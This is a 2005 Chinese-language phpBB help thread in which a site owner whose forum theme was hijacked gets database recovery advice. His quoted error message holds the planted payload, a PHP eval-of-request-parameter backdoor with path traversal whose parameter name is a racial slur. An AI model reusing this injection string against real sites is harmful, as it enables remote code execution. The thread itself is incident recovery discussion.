第 1 頁 (共 2 頁)
[問題] 我的網站疑似被入侵 :(
發表於 : 2005-03-17 12:00
由 skeptic
早上到公司一開網頁真是嚇了我一大跳(
http://flythinking.net )
我原本預設的風格catcafe被改成Subsilver
原本的catcafe非但已經不見了而且還增加了一個新風格叫FI BLACK
我把預設風格改成FI Black之後，網頁就再也進不去了
我想我被駭了.....
現在網頁變成這樣:
代碼: 選擇全部
phpBB : Critical Error
Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file
DEBUG MODE
Line : 333
File : /home/skeptic/public_html/phpBB2/includes/functions.php
發表於 : 2005-03-17 13:51
由 赤兔
發表於 : 2005-03-17 14:19
由 阿維
反應不要太誇張好嗎?\r
使用者沒有定期更新當然有被入侵的機會,這是理所當然的事情不是嗎?
話說回來,你的資料庫還在嗎?
假如還在我建議重新安裝phpBB 2.0.13看看到底怎麼了
發表於 : 2005-03-17 15:19
由 小竹子
發信通知N次要更新要升級了！無力中
發表於 : 2005-03-17 19:37
由 bebe2803
入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@
發表於 : 2005-03-20 10:59
由 skeptic
bebe2803 寫:入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@
可以請bebe兄在說詳細一點嗎?
發表於 : 2005-03-20 18:00
由 oscerropper
skeptic 寫:bebe2803 寫:入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@
可以請bebe兄在說詳細一點嗎?
去資料庫的
phpbb_user
裡頭把你的個人user_style給改成預設的"1"
-------------------------------------
我現在已經進入了
只差不知道風格的資料庫數值是在那個？
我已經都有更新phpbb安全修正2.013
怎還是有問題?
產生這個問題的主因是？人家破壞的方法是？
我可以用舊的*.sql去還原論壇風格吧？
請問風格是在db中的那一個?
發表於 : 2005-03-21 15:04
由 oscerropper
結決方法：
到DB下把phpbb_themes砍掉後
在把你自己備份過的DB中內的
phpbb_themes數據通通還原就可以
發表於 : 2005-03-21 16:08
由 skeptic
一、我進入資料庫的phpbb_themes裡，發現剩下subsilver 和 FI Black 兩個風格(分別是編號1 及 編號2)。
參考了一下
http://www.phpbb.com/phpBB/viewtopic.php?t=272959 的說明之後，我把編號2的 FI Black刪除了。
接著嘗試進入我的首頁
http://flythinking.net ，結果出現critical error，說是找不到這個風格。
於是我再進到phpbb_themes裡，把剩下的subsilver改為編號2，這時候再進到我的站就通了！我想請教的是：我這樣改編號OK嗎?會不會有什麼後遺症呢?
二、在資料庫 phpbb_user裡，第一個會員名稱是Anonymous，user id 是 -1 ? 怎麼會出現這個東西呢? 我該刪除它嗎?
發表於 : 2005-03-21 19:01
由 oscerropper
skeptic 寫:一、我進入資料庫的phpbb_themes裡，發現剩下subsilver 和 FI Black 兩個風格(分別是編號1 及 編號2)。
參考了一下
http://www.phpbb.com/phpBB/viewtopic.php?t=272959 的說明之後，我把編號2的 FI Black刪除了。
接著嘗試進入我的首頁
http://flythinking.net ，結果出現critical error，說是找不到這個風格。
於是我再進到phpbb_themes裡，把剩下的subsilver改為編號2，這時候再進到我的站就通了！我想請教的是：我這樣改編號OK嗎?會不會有什麼後遺症呢?
二、在資料庫 phpbb_user裡，第一個會員名稱是Anonymous，user id 是 -1 ? 怎麼會出現這個東西呢? 我該刪除它嗎?
我已經說明了
這個破壞方法只是把你在DB中的phpbb_themes的數值內加入了nigga一大串符號...
只要有備份以前的*.sql檔案..只要截取其中的phpbb_themes還原一下就好了
發表於 : 2005-03-21 19:06
由 skeptic
謝謝oscerropper兄熱心解說
發表於 : 2005-03-21 21:26
由 oscerropper
skeptic 寫:謝謝oscerropper兄熱心解說
這是人為的..因為我發現有固定的人會來論壇瀏覽..而且會開一堆瀏覽視窗在看
你看看控制台吧..可能會發現到同IP多視窗..
雖然不是什麼嚴重的攻擊但是很討厭
發表於 : 2005-03-21 21:48
由 skeptic
我最常發現的是googlebot和msnbot
不太想理它們...
只是我沒想到我這麼小的站台駭客們都不放過...
發表於 : 2005-03-21 23:36
由 oscerropper
skeptic 寫:我最常發現的是googlebot和msnbot
不太想理它們...
只是我沒想到我這麼小的站台駭客們都不放過...
今天我才差到一個msnbot (rofl)
不過也可能是駭客在強調2.0.13又有那有問題了
發表於 : 2005-03-22 00:25
由 小竹子
搜尋引擎很硬=_=!!